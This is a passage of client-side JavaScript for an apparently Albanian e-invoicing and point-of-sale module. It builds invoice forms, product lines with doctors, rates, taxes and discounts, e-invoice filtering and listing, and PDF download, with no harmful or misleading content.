if (payment.paymentMethodType == '2') {
payment.voucher = $(this).find('[name="voucher"]').val();
}
if (payment.paymentMethodType == '6') {
payment.accountId = $(this).find('[name="accountId"]').val();
}
parameters.invoicePayments.push(payment);
});
//extra
if (parameters.selfIssuing == '1') {
parameters.selfIssuingType = $modal.find('[name="selfIssuingType"]').val();
}
if ($modal.find('[name="isLateFiscalized"]').is(':checked')) {
parameters.subsequentDeliveryType = $modal.find('[name="subsequentDeliveryType"]').val();
}
return parameters;
},
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
print: function() {
//first we have to replace the canvas with image
var can = document.querySelector('#qrcode canvas');
var ctx = can.getContext('2d');
//ctx.fillRect(50,50,50,50);
var img = new Image();
img.src = can.toDataURL();
document.body.appendChild(img);
let div = $('<div />').html($('#invoiceContent').parent().html());
div.find('canvas').replaceWith(img);
//print it
Printer.print(div.html());
},
product: {
add($modal) {
if(typeof $modal == 'undefined')
$modal = $('.modal:visible');
$modal.find('.productLine:last').after( DevPos.Invoice.product.component() );
//focus input
$modal.find('.productLine:last input.tt-input').focus();
},
calculateTax: function(opts = {}) {
let defaults = {
tax: {},
rate: 0,
discount: 0,
productLine: null
};
opts = $.extend(defaults, opts);
if (!empty(opts.productLine)) {
opts.rate = parseFloat(opts.productLine.find('[name="rate"]').attr('data-rate')||0);
opts.discount = parseFloat(opts.productLine.find('[name="discount"]').val()||0);
}
console.log(opts);
//now we calculate the tax value based on it configuration, rate and discount
let tax = 0;
if (opts.tax.type == 'On Net Total') {
tax = (opts.rate - opts.discount) * opts.tax.rate / 100;
}
else if (opts.tax.type == 'Actual') {
tax = opts.tax.amount ;
}
return parseFloat(tax);
},
component: function(first = false, doctors = []) {
let self = this;
let defaults = Cache.get('doctors');
doctors = $.extend(defaults, doctors);
let html =
`<div class="input-group input-group-lg-group productLine mb-3">
<div class="col-3 px-0">
${Html.input({
name: 'product_id',
class: 'form-control mb-3',
placeholder: __('Choose product'),
shown: function(elm) {
$(elm).productSuggestion({
source: function(instance, query, sync, async) {
//filter all products that is not selected on any other line
let selected = [];
// $(instance).closest('form').find('[name="product_id"]').each(function(){
// let id = $(this).attr('data-suggest-id');
// if (!empty(id)) {
// selected.push(id);
// }
// });
return new Model('products').select('id', 'name').where('name', 'like', query +'%').when(selected.length, function($query){
$query.whereNotIn('id', selected);
}).limit(5).get(function(res) {
async(res.Data);
});
},
onSelect: function(suggestion, instance) {
//when we choose the product => we load doctors and rate with their pricing rules
let parameters = Modal.parameters($('.vModal:visible'));
let patient_id = parameters.patient_id;
let price_list_id = parameters.price_list_id;
let applyPricingRules = parameters.disable_pricing_rules ? 0:1;
let discount_id = parameters.discount_id;
let products_id = $('.vModal:visible').find('[name="product_id"].is-valid').map(function(){ return this.getAttribute('data-suggest-id') }).get();
let total_products_quantity = $('.vModal:visible').find('[name="product_id"].is-valid').length;
let subtotal = $('.vModal:visible').find('.subtotal').text().trim();
new MAPI(
new Model('users').select('users.id', 'users.name', 'product_doctor.rate').join('product_doctor', 'users.id', '=', 'user_id'),
new Model('products').method('getRates').parameters({product_id: suggestion.id, patient_id, discount_id, products_id, total_products_quantity, subtotal, price_list_id, applyPricingRules}),
new Model('products').method('pricingRules').parameters({product_id: suggestion.id, patient_id: patient_id}),
new Model('taxes').whereHas('productes', function($query) {
return $query.where('id', suggestion.id);
}).limit(1)
).call(function(doctors, rates, pricingRules, tax) {
$(instance).closest('.productLine').find('select[name="doctor_id"]').html(doctors.map(x => {
return '<option value="'+ x.id +'" data-rate="'+ rates.Rate +'">'+ x.name +'</option>';
}).join(''));
//set rate
let rate = $(instance).closest('.productLine').find('select[name="doctor_id"] option:selected').attr('data-rate');
$(instance).closest('.productLine').find('[name="rate"]').val(rates.Rate).attr('data-rate', rates.Rate);
//set tax
if (!empty(rates.Tax)) {
let tax_amount = DevPos.Invoice.product.calculateTax({tax: rates.Tax, productLine: $(instance).closest('.productLine')});
$(instance).closest('.productLine').find('[name="tax"]').val(tax_amount).attr('data-value', tax_amount);
}
//fire trigger
$(instance).closest('form').trigger('invoice.change');
//lastly we load the pricing rules for this product
Invoice.pricing_rules.add(pricingRules);
});
},
onDeselect: function(instance) {
$(instance).closest('.productLine').find('[name="doctor_id"]').html('');
$(instance).closest('.productLine').find('[name="rate"]').val('').attr('data-rate', '');
//fire trigger
$(instance).closest('form').trigger('invoice.change');
}
});
}
})}
</div>
<div class="col-2 float-left px-0 input-group-append">
<input class="form-control text-right" name="rate" placeholder="${__('price')}" disabled>
</div>
<div class="col-2 float-left px-0 input-group-append">
<input class="form-control text-right" name="discount" placeholder="${__('discount')}" disabled>
</div>
<div class="col-2 float-left px-0 input-group-append">
<input class="form-control text-right" name="tax" placeholder="${__('tax')}" disabled>
</div>
<div class="col-2 float-left px-0 input-group-append">
${Html.select({
name: 'doctor_id',
class: 'form-control',
options: [__('Choose doctor')],
onChange: function(elm) {
let rate = $(elm).find('option:selected').attr('data-rate');
//set rate
$(elm).closest('.productLine').find('input[name="rate"]').val(rate).attr('data-rate', rate);
//re calculate summaries
$(elm).closest('form').trigger('invoice.change');
},
})}
</div>
${(first == true ? ``:`<div class="input-group-append col-1 px-0">
<a href="javascript:void(0)" class="input-group-text" id="basic-addon1" onClick="Invoice.product.remove(this);"><i class="fa fa-trash k-font-danger"></i></a>
</div>`)}
</div>`;
return html;
},
reloadRates: function(opts = {}) {
if ($('.vModal:visible').find('[name="product_id"]').length < 1)
return;
//we will run this method every time a trait of invoice is changed: patient_id/price_list_id/disable pricing rules...
let parameters = Modal.parameters($('.vModal:visible'));
$('.vModal:visible').find('[name="product_id"]').each(function(){
if (empty($(this).attr('data-suggest-id')))
return;
let self = this;
let product_id = $(this).attr('data-suggest-id');
new Model('products').method('getRates').parameters({
product_id: product_id,
patient_id: parameters.patient_id,
discount_id: parameters.discount_id,
products_id: $('.vModal:visible').find('[name="product_id"].is-valid').map(function(){ return this.getAttribute('data-suggest-id') }).get(),
total_products_quantity: $('.vModal:visible').find('[name="product_id"].is-valid').length,
subtotal: $('.vModal:visible').find('.subtotal').text().trim(),
price_list_id: parameters.price_list_id,
applyPricingRules: parameters.disable_pricing_rules ? 0:1,
}).call(function(res) {
$(self).closest('.productLine').find('[name="rate"]').val(res.Data.Rate).attr('data-rate', res.Data.Rate).change();
$(self).closest('.productLine').find('[name="discount"]').val(priceNum(res.Data.DiscountAmount)).attr('data-discount', res.Data.DiscountAmount).change();
//set tax
if (!empty(res.Data.Tax)) {
let tax_amount = Invoice.product.calculateTax({tax: res.Data.Tax, productLine: $(self).closest('.productLine')});
console.log(tax_amount);
$(self).closest('.productLine').find('[name="tax"]').val(tax_amount).attr('data-value', tax_amount);
}
//fire invoice change
Invoice.summaries.calculate();
//new Buffer('reCalculateSummaries', Invoice.summaries.calculate, 600);
});
});
},
reloadTaxes: function(opts = {}) {
//if there aren't any product -> we skip this fn
if ($('.vModal:visible').find('[name="product_id"]').length < 1)
return;
let parameters = Modal.parameters($('.vModal:visible'));
let defaults = {
tax_id: parameters.tax_id
};
opts = $.extend(defaults, opts);
//we will run this method every time a trait of invoice is changed: patient_id/price_list_id/disable pricing rules...
//first we have to load tax from db
new MAPI(
new Model('taxes').where('id', opts.tax_id).limit(1)
).call(function(tax) {
$('.vModal:visible').find('[name="product_id"]').each(function(){
if (empty($(this).attr('data-suggest-id')))
return;
//we have to get tax for each product to check
let self = this;
let product_id = $(this).attr('data-suggest-id');
new Model('products').method('getRates').parameters({
product_id: product_id,
patient_id: parameters.patient_id,
discount_id: parameters.discount_id,
products_id: $('.vModal:visible').find('[name="product_id"].is-valid').map(function(){ return this.getAttribute('data-suggest-id') }).get(),
total_products_quantity: $('.vModal:visible').find('[name="product_id"].is-valid').length,
subtotal: $('.vModal:visible').find('.subtotal').text().trim(),
price_list_id: parameters.price_list_id,
applyPricingRules: parameters.disable_pricing_rules ? 0:1,
}).call(function(res) {
$(self).closest('.productLine').find('[name="rate"]').val(res.Data).attr('data-rate', res.Data).change();
$(self).closest('.productLine').find('[name="discount"]').val(priceNum(res.DiscountAmount)).attr('data-discount', res.DiscountAmount).change();
//set tax
if (!empty(res.Tax)) {
let tax_amount = Invoice.product.calculateTax({tax: res.Tax, productLine: $(self).closest('.productLine')});
$(self).closest('.productLine').find('[name="tax"]').val(tax_amount).attr('data-value', tax_amount);
}
//fire invoice change
Invoice.summaries.calculate();
//new Buffer('reCalculateSummaries', Invoice.summaries.calculate, 600);
});
});
});
},
loadDiscount: function(opts = {}) {
if ($('.vModal:visible').find('[name="product_id"]').length < 1)
return;
//we will run this method every time a trait of invoice is changed: patient_id/price_list_id/disable pricing rules...
let parameters = Modal.parameters($('.vModal:visible'));
$('.vModal:visible').find('[name="product_id"]').each(function() {
if (empty($(this).attr('data-suggest-id')))
return;
let self = this;
let product_id = $(this).attr('data-suggest-id');
new Model('products').method('getDiscount').parameters({
product_id: product_id,
patient_id: parameters.patient_id,
price_list_id: parameters.price_list_id,
applyPricingRules: parameters.disable_pricing_rules ? 0:1
}).call(function(res) {
$(self).closest('.productLine').find('[name="rate"]').val(res.Data).attr('data-rate', res.Data).change();
//fire invoice change
Invoice.summaries.calculate();
});
});
},
remove(elm) {
let $form = $(elm).closest('form');
$(elm).closest('.productLine').remove();
//fire trigger
$form.trigger('invoice.change');
//after resetting summaries we reload the rates bc we have to send new subtotal to server
//reload Rates for products present already
this.reloadRates();
},
removeLast($modal) {
//remove last
if ($modal.find('.productLine').length == 1)
return;
$modal.find('.productLine:last').remove();
//fire trigger
$modal.find('form').trigger('invoice.change');
}
},
save: function() {
let self = this;
let parameters = function($modal) {
let parameters = Modal.parameters($modal);
//subsequentDelivery
if (!parameters.subsequentDelivery) {
delete parameters.subsequentDeliveryType;
}
if (!parameters.affectWarehouse) {
delete parameters.exitWarehouseId;
delete parameters.destinationWarehouseId;
}
//add products
parameters.wtnProduct = [];
$('#productsList tbody tr').each(function() {
parameters.wtnProduct.push({
productId: $(this).attr('data-product-id'),
barcode: $(this).attr('data-barcode'),
isInvestment: $(this).attr('data-investment'),
name: $(this).find('[data-attribute="name"]').text().trim(),
isRebateReducingBasePrice: 1,
rebatePrice: 0,
unit: $(this).find('[data-attribute="unit"]').text().trim(),
quantity: $(this).find('[name="quantity"]').val().trim(),
price: parseFloat($(this).find('[name="unitPrice"]').val()?.trim()||0),
vatRate: $(this).find('[data-attribute="vatRate"]').text().trim(),
});
});
return parameters;
};
//if (empty(this.item)) {
let params = parameters($('form#k_form_1'));
new Route(self.itemType).prefix(self.prefix).store(params, function(res) {
// //Page.reload(2000);
// opts.callback();
}, function(res) {
generalError(res.Msg||'Something went wrong!');
});
//}
// else {
// //add id
// opts.parameters.id = parseInt(opts.item.id);
// new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// // Page.reload(2000);
// opts.callback();
// }, function(res) {
// generalError();
// });
// }
},
search() {
return new Model(this.itemType);
},
url: function(itemID, action = 'view') {
return `/devpos/accompanying-invoices/`+ itemID + (action == 'edit' ? '/edit':'');
},
view: function(eic) {
//window.location.href = 'blob:https://demo.devpos.al/'+ eic;
},
download: function(eic) {
let downloadPDF = function (pdf) {
const linkSource = `data:application/pdf;base64,${pdf}`;
const downloadLink = document.createElement("a");
const fileName = "abc.pdf";
downloadLink.href = linkSource;
downloadLink.download = fileName;
downloadLink.click();
}
const b64toBlob = (b64Data, contentType='', sliceSize=512) => {
const byteCharacters = atob(b64Data);
const byteArrays = [];
for (let offset = 0; offset < byteCharacters.length; offset += sliceSize) {
const slice = byteCharacters.slice(offset, offset + sliceSize);
const byteNumbers = new Array(slice.length);
for (let i = 0; i < slice.length; i++) {
byteNumbers[i] = slice.charCodeAt(i);
}
const byteArray = new Uint8Array(byteNumbers);
byteArrays.push(byteArray);
}
const blob = new Blob(byteArrays, {type: contentType});
return blob;
}
new Route(this.itemType).prefix(this.prefix).query({eic: eic}).get(function(res) {
let pdfBase64 = res.Data[0].pdf;
//download it
//downloadPDF(pdfBase64);
window.open(URL.createObjectURL(b64toBlob(pdfBase64, 'application/pdf')));
});
//window.location.href = 'blob:https://demo.devpos.al/'+ eic;
}
},
EInvoice: {
itemType: 'einvoices',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source = []) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.documentNumber)) {
filtered = filtered.filter(row => {
return row.documentNumber.toLowerCase().startsWith(parameters.documentNumber.toLowerCase());
});
}if(!empty(parameters.buyerName)) {
filtered = filtered.filter(row => {
if (!empty(row.buyerName))
return row.buyerName.toLowerCase().startsWith(parameters.buyerName.toLowerCase());
});
}
if(!empty(parameters.buyerNuis)) {
filtered = filtered.filter(row => {
return row.buyerNuis.toLowerCase().startsWith(parameters.buyerNuis.toLowerCase());
});
}
if(!empty(parameters.eic)) {
filtered = filtered.filter(row => {
return row.eic.toLowerCase().startsWith(parameters.eic.toLowerCase());
});
}
if(!empty(parameters.invoiceStatus)) {
filtered = filtered.filter(row => {
return row.invoiceStatus.toLowerCase().startsWith(parameters.invoiceStatus.toLowerCase());
});
}
if(!empty(parameters.statusCanBeChanged)) {
filtered = filtered.filter(row => {
return row.statusCanBeChanged.toLowerCase().startsWith(parameters.statusCanBeChanged.toLowerCase());
});
}
if(!empty(parameters.amount_min)) {
filtered = filtered.filter(row => {
return row.amount >= parseFloat(parameters.amount_min);
});
}
if(!empty(parameters.amount_max)) {
filtered = filtered.filter(row => {
return row.amount <= parseFloat(parameters.amount_max);
});
}
if(!empty(parameters.dueDate_min)) {
filtered = filtered.filter(row => {
return row.dueDate >= parameters.dueDate_min;
});
}
if(!empty(parameters.dueDate_max)) {
filtered = filtered.filter(row => {
return row.dueDate <= parameters.dueDate_max;
});
}
if(!empty(parameters.created_min)) {
filtered = filtered.filter(row => {
return row.invoiceCreatedDate >= parameters.created_min;
});
}
if(!empty(parameters.created_max)) {
filtered = filtered.filter(row => {
return row.invoiceCreatedDate <= parameters.created_max;
});
}
//and in the end we return it
return filtered;
},
queryParameters() { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="main_filter"]') , true);
return parameters;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
amount: {field: 'amount', title: __('Amount')},
buyerName: {field: 'buyerName', title: __('Buyer Name')},
buyerNuis: {field: 'buyerNuis', title: __('Buyer Nuis')},
documentNumber: {field: 'documentNumber', title: __('Document Number')},
dueDate: {field: 'dueDate', title: __("Due Date"), type: "date", template: function(row){ return moment(row.invoiceCreatedDate).format("MM/DD/YYYY hh:mm"); }},
eic: {field: 'eic', title: __('EIC')},
invoiceCreatedDate: {field: 'invoiceCreatedDate', title: __("Created Date"), type: "date", template: function(row){ return moment(row.invoiceCreatedDate).format("MM/DD/YYYY hh:mm"); }},
invoiceStatus: {field: 'invoiceStatus', title: __('Invoice Status')},
partyType: {field: 'partyType', title: __('Party Type')},
sellerName: {field: 'sellerName', title: __('Seller Name')},
sellerNuis: {field: 'sellerNuis', title: __('Seller Nuis')},
statusCanBeChanged: {field: 'statusCanBeChanged', title: __('Status Can Be Changed')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="${'blob:https://demo.devpos.al/'+ row.eic}" target="_blank" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('View')}" data-id="${row.eic}" ><i class="la la-eye"></i> </a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-eye').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.view(itemID);
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
new Route(this.itemType).prefix(this.prefix).query(this.queryParameters()).get(function(res) {
self.list({
columns: ['id', 'documentNumber', 'partyType', 'invoiceCreatedDate', 'dueDate', 'invoiceStatus', 'amount', 'buyerName', 'buyerNuis', 'actions'],
source: res.Data,
filter: function(source = []) {
return self.filter(source);
}
});
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'xl',
template: templates()[self.prefix][self.itemType].template({item: opts.item, tcrs: Cache.get('tcrs')}),
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//set invoiceType = 1
parameters.invoiceType = 1;
parameters.isEinvoice = true;
//add customer
if (empty(parameters.customer.idNumber) && empty(parameters.customer.name))
delete parameters.customer;
//add products
parameters.invoiceProducts = [];
$('#productsList tbody tr').each(function() {
parameters.invoiceProducts.push({
productId: $(this).attr('data-product-id'),
barcode: $(this).attr('data-barcode'),
isInvestment: $(this).attr('data-investment'),
name: $(this).find('[data-attribute="name"]').text().trim(),
isRebateReducingBasePrice: 1,
rebatePrice: 0,
unit: $(this).find('[data-attribute="unit"]').text().trim(),
quantity: $(this).find('[name="quantity"]').val().trim(),
unitPrice: parseFloat($(this).find('[name="unitPrice"]').val()?.trim()||0),
vatRate: $(this).find('[data-attribute="vatRate"]').text().trim(),
});
});
//add fees
parameters.invoiceFees = [];
$('#feesList tbody tr:not(:last)').each(function() {
parameters.invoiceFees.push({
feeType: $(this).find('[name="feeType"]').val(),
amount: $(this).find('[name="amount"]').val(),
});
});
//add invoicePayments
parameters.invoicePayments = [];
$('#feesList tbody tr:not(:last)').each(function() {
let payment = {
paymentMethodType: $(this).find('[name="paymentMethodType"]').val(),
amount: $(this).find('[name="amount"]').val()
};
if (payment.paymentMethodType == '2') {
payment.voucher = $(this).find('[name="voucher"]').val();
}
if (payment.paymentMethodType == '6') {
payment.accountId = $(this).find('[name="accountId"]').val();
}
parameters.invoicePayments.push(payment);
});
//extra
if (parameters.selfIssuing == '1') {
parameters.selfIssuingType = $modal.find('[name="selfIssuingType"]').val();
}
if ($modal.find('[name="isLateFiscalized"]').is(':checked')) {
parameters.subsequentDeliveryType = $modal.find('[name="subsequentDeliveryType"]').val();
}
return parameters;
},
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
product: {
add($modal) {
if(typeof $modal == 'undefined')
$modal = $('.modal:visible');
$modal.find('.productLine:last').after( DevPos.Invoice.product.component() );
//focus input
$modal.find('.productLine:last input.tt-input').focus();
},
calculateTax: function(opts = {}) {
let defaults = {
tax: {},
rate: 0,
discount: 0,
productLine: null
};
opts = $.extend(defaults, opts);
if (!empty(opts.productLine)) {
opts.rate = parseFloat(opts.productLine.find('[name="rate"]').attr('data-rate')||0);
opts.discount = parseFloat(opts.productLine.find('[name="discount"]').val()||0);
}
console.log(opts);
//now we calculate the tax value based on it configuration, rate and discount
let tax = 0;
if (opts.tax.type == 'On Net Total') {
tax = (opts.rate - opts.discount) * opts.tax.rate / 100;
}
else if (opts.tax.type == 'Actual') {
tax = opts.tax.amount ;
}
return parseFloat(tax);
},
component: function(first = false, doctors = []) {
let self = this;
let defaults = Cache.get('doctors');
doctors = $.extend(defaults, doctors);
let html =
`<div class="input-group input-group-lg-group productLine mb-3">
<div class="col-3 px-0">
${Html.input({
name: 'product_id',
class: 'form-control mb-3',
placeholder: __('Choose product'),
shown: function(elm) {
$(elm).productSuggestion({
source: function(instance, query, sync, async) {
//filter all products that is not selected on any other line
let selected = [];
// $(instance).closest('form').find('[name="product_id"]').each(function(){
// let id = $(this).attr('data-suggest-id');
// if (!empty(id)) {
// selected.push(id);
// }
// });
return new Model('products').select('id', 'name').where('name', 'like', query +'%').when(selected.length, function($query){
$query.whereNotIn('id', selected);
}).limit(5).get(function(res) {
async(res.Data);
});
},
onSelect: function(suggestion, instance) {
//when we choose the product => we load doctors and rate with their pricing rules
let parameters = Modal.parameters($('.vModal:visible'));
let patient_id = parameters.patient_id;
let price_list_id = parameters.price_list_id;
let applyPricingRules = parameters.disable_pricing_rules ? 0:1;
let discount_id = parameters.discount_id;
let products_id = $('.vModal:visible').find('[name="product_id"].is-valid').map(function(){ return this.getAttribute('data-suggest-id') }).get();
let total_products_quantity = $('.vModal:visible').find('[name="product_id"].is-valid').length;
let subtotal = $('.vModal:visible').find('.subtotal').text().trim();
new MAPI(
new Model('users').select('users.id', 'users.name', 'product_doctor.rate').join('product_doctor', 'users.id', '=', 'user_id'),
new Model('products').method('getRates').parameters({product_id: suggestion.id, patient_id, discount_id, products_id, total_products_quantity, subtotal, price_list_id, applyPricingRules}),
new Model('products').method('pricingRules').parameters({product_id: suggestion.id, patient_id: patient_id}),
new Model('taxes').whereHas('productes', function($query) {
return $query.where('id', suggestion.id);
}).limit(1)
).call(function(doctors, rates, pricingRules, tax) {
$(instance).closest('.productLine').find('select[name="doctor_id"]').html(doctors.map(x => {
return '<option value="'+ x.id +'" data-rate="'+ rates.Rate +'">'+ x.name +'</option>';
}).join(''));
//set rate
let rate = $(instance).closest('.productLine').find('select[name="doctor_id"] option:selected').attr('data-rate');
$(instance).closest('.productLine').find('[name="rate"]').val(rates.Rate).attr('data-rate', rates.Rate);
//set tax
if (!empty(rates.Tax)) {
let tax_amount = DevPos.Invoice.product.calculateTax({tax: rates.Tax, productLine: $(instance).closest('.productLine')});
$(instance).closest('.productLine').find('[name="tax"]').val(tax_amount).attr('data-value', tax_amount);
}
//fire trigger
$(instance).closest('form').trigger('invoice.change');
//lastly we load the pricing rules for this product
Invoice.pricing_rules.add(pricingRules);
});
},
onDeselect: function(instance) {
$(instance).closest('.productLine').find('[name="doctor_id"]').html('');
$(instance).closest('.productLine').find('[name="rate"]').val('').attr('data-rate', '');
//fire trigger
$(instance).closest('form').trigger('invoice.change');
}
});
}
})}
</div>
<div class="col-2 float-left px-0 input-group-append">
<input class="form-control text-right" name="rate" placeholder="${__('price')}" disabled>
</div>
<div class="col-2 float-left px-0 input-group-append">
<input class="form-control text-right" name="discount" placeholder="${__('discount')}" disabled>
</div>
<div class="col-2 float-left px-0 input-group-append">
<input class="form-control text-right" name="tax" placeholder="${__('tax')}" disabled>
</div>
<div class="col-2 float-left px-0 input-group-append">
${Html.select({
name: 'doctor_id',
class: 'form-control',
options: [__('Choose doctor')],
onChange: function(elm) {
let rate = $(elm).find('option:selected').attr('data-rate');
//set rate
$(elm).closest('.productLine').find('input[name="rate"]').val(rate).attr('data-rate', rate);
//re calculate summaries
$(elm).closest('form').trigger('invoice.change');
},
})}
</div>
${(first == true ? ``:`<div class="input-group-append col-1 px-0">
<a href="javascript:void(0)" class="input-group-text" id="basic-addon1" onClick="Invoice.product.remove(this);"><i class="fa fa-trash k-font-danger"></i></a>
</div>`)}
</div>`;
return html;
},
reloadRates: function(opts = {}) {
if ($('.vModal:visible').find('[name="product_id"]').length < 1)
return;
//we will run this method every time a trait of invoice is changed: patient_id/price_list_id/disable pricing rules...
let parameters = Modal.parameters($('.vModal:visible'));
$('.vModal:visible').find('[name="product_id"]').each(function(){
if (empty($(this).attr('data-suggest-id')))
return;
let self = this;
let product_id = $(this).attr('data-suggest-id');
new Model('products').method('getRates').parameters({
product_id: product_id,
patient_id: parameters.patient_id,
discount_id: parameters.discount_id,
products_id: $('.vModal:visible').find('[name="product_id"].is-valid').map(function(){ return this.getAttribute('data-suggest-id') }).get(),
total_products_quantity: $('.vModal:visible').find('[name="product_id"].is-valid').length,
subtotal: $('.vModal:visible').find('.subtotal').text().trim(),
price_list_id: parameters.price_list_id,
applyPricingRules: parameters.disable_pricing_rules ? 0:1,
}).call(function(res) {
$(self).closest('.productLine').find('[name="rate"]').val(res.Data.Rate).attr('data-rate', res.Data.Rate).change();
$(self).closest('.productLine').find('[name="discount"]').val(priceNum(res.Data.DiscountAmount)).attr('data-discount', res.Data.DiscountAmount).change();
//set tax
if (!empty(res.Data.Tax)) {
let tax_amount = Invoice.product.calculateTax({tax: res.Data.Tax, productLine: $(self).closest('.productLine')});
console.log(tax_amount);
$(self).closest('.productLine').find('[name="tax"]').val(tax_amount).attr('data-value', tax_amount);
}
//fire invoice change
Invoice.summaries.calculate();
//new Buffer('reCalculateSummaries', Invoice.summaries.calculate, 600);
});
});
},
reloadTaxes: function(opts = {}) {
//if there aren't any product -> we skip this fn
if ($('.vModal:visible').find('[name="product_id"]').length < 1)
return;
let parameters = Modal.parameters($('.vModal:visible'));
let defaults = {
tax_id: parameters.tax_id
};
opts = $.extend(defaults, opts);
//we will run this method every time a trait of invoice is changed: patient_id/price_list_id/disable pricing rules...
//first we have to load tax from db
new MAPI(
new Model('taxes').where('id', opts.tax_id).limit(1)
).call(function(tax) {
$('.vModal:visible').find('[name="product_id"]').each(function(){
if (empty($(this).attr('data-suggest-id')))
return;
//we have to get tax for each product to check
let self = this;
let product_id = $(this).attr('data-suggest-id');
new Model('products').method('getRates').parameters({
product_id: product_id,
patient_id: parameters.patient_id,
discount_id: parameters.discount_id,
products_id: $('.vModal:visible').find('[name="product_id"].is-valid').map(function(){ return this.getAttribute('data-suggest-id') }).get(),
total_products_quantity: $('.vModal:visible').find('[name="product_id"].is-valid').length,
subtotal: $('.vModal:visible').find('.subtotal').text().trim(),
price_list_id: parameters.price_list_id,
applyPricingRules: parameters.disable_pricing_rules ? 0:1,
}).call(function(res) {
$(self).closest('.productLine').find('[name="rate"]').val(res.Data).attr('data-rate', res.Data).change();
$(self).closest('.productLine').find('[name="discount"]').val(priceNum(res.DiscountAmount)).attr('data-discount', res.DiscountAmount).change();
//set tax
if (!empty(res.Tax)) {
let tax_amount = Invoice.product.calculateTax({tax: res.Tax, productLine: $(self).closest('.productLine')});
$(self).closest('.productLine').find('[name="tax"]').val(tax_amount).attr('data-value', tax_amount);
}
//fire invoice change
Invoice.summaries.calculate();
//new Buffer('reCalculateSummaries', Invoice.summaries.calculate, 600);
});
});
});
},
loadDiscount: function(opts = {}) {
if ($('.vModal:visible').find('[name="product_id"]').length < 1)
return;
//we will run this method every time a trait of invoice is changed: patient_id/price_list_id/disable pricing rules...
let parameters = Modal.parameters($('.vModal:visible'));
$('.vModal:visible').find('[name="product_id"]').each(function() {
if (empty($(this).attr('data-suggest-id')))
return;
let self = this;
let product_id = $(this).attr('data-suggest-id');
new Model('products').method('getDiscount').parameters({
product_id: product_id,
patient_id: parameters.patient_id,
price_list_id: parameters.price_list_id,
applyPricingRules: parameters.disable_pricing_rules ? 0:1
}).call(function(res) {
$(self).closest('.productLine').find('[name="rate"]').val(res.Data).attr('data-rate', res.Data).change();
//fire invoice change
Invoice.summaries.calculate();
});
});
},
remove(elm) {
let $form = $(elm).closest('form');
$(elm).closest('.productLine').remove();
//fire trigger
$form.trigger('invoice.change');
//after resetting summaries we reload the rates bc we have to send new subtotal to server
//reload Rates for products present already
this.reloadRates();
},
removeLast($modal) {
//remove last
if ($modal.find('.productLine').length == 1)
return;
$modal.find('.productLine:last').remove();
//fire trigger
$modal.find('form').trigger('invoice.change');
}
},
save: function() {
let self = this;
let parameters = function($modal) {
let parameters = Modal.parameters($modal);
//set invoiceType = 1
parameters.invoiceType = 1;
parameters.isEInvoice = true;
//add customer
if (empty(parameters.customer.idNumber) && empty(parameters.customer.name))
delete parameters.customer;
//add products
parameters.invoiceProducts = [];
$('#productsList tbody tr').each(function() {
parameters.invoiceProducts.push({
productId: $(this).attr('data-product-id'),
barcode: $(this).attr('data-barcode'),
isInvestment: $(this).attr('data-investment'),
name: $(this).find('[data-attribute="name"]').text().trim(),
isRebateReducingBasePrice: 1,
rebatePrice: 0,
unit: $(this).find('[data-attribute="unit"]').text().trim(),
quantity: $(this).find('[name="quantity"]').val().trim(),
unitPrice: parseFloat($(this).find('[name="unitPrice"]').val()?.trim()||0),
vatRate: $(this).find('[data-attribute="vatRate"]').text().trim(),
});
});
//add fees
parameters.invoiceFees = [];
